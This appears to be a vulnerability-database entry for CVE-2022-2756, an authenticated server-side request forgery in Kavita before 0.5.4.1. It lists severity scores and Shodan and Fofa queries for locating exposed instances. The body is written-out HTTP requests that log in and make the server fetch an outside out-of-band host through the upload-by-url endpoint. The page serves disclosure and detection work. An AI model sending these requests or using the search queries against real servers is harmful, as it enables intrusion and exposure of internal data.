| Title | Kavita <0.5.4.1 - Server-Side Request Forgery |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can result in unauthorized access to sensitive information or systems, leading to potential data breaches or further attacks. |
| Remediation | Fixed in 0.5.4.1. |
| CVSS Score | 6.5 |
| EPSS Score | 0.67466 |
| CVE ID | CVE-2022-2756 |
| CWE ID | CWE-918 |
| Shodan Query | title:"kavita"http.title:"kavita" |
| Fofa Query | title="kavita" |
| Tags | cve cve2022 ssrf kavita authenticated huntr intrusive kavitareader vuln |
Kavita before 0.5.4.1 is susceptible to server-side request forgery in GitHub repository kareadita/kavita. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
POST /api/account/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 41
Accept: application/json, text/plain, */*
Content-Type: application/json
Accept-Encoding: gzip
{"username":"ME5Cp4","password":"ORZhOP"}
POST /api/upload/upload-by-url HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/619.23 (KHTML, like Gecko) Version/15.3.85 Safari/619.23
Connection: close
Content-Length: 30
Accept: application/json, text/plain, */*
Authorization: Bearer fJOfbV
Content-Type: application/json
Accept-Encoding: gzip
{"url":"http://oast.me/#.png"}
GET /api/image/cover-upload?filename=coverupload_TCER6O.png HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15
Connection: close
Authorization: Bearer fJOfbV
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2756.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-2756.pcap
N/AN/A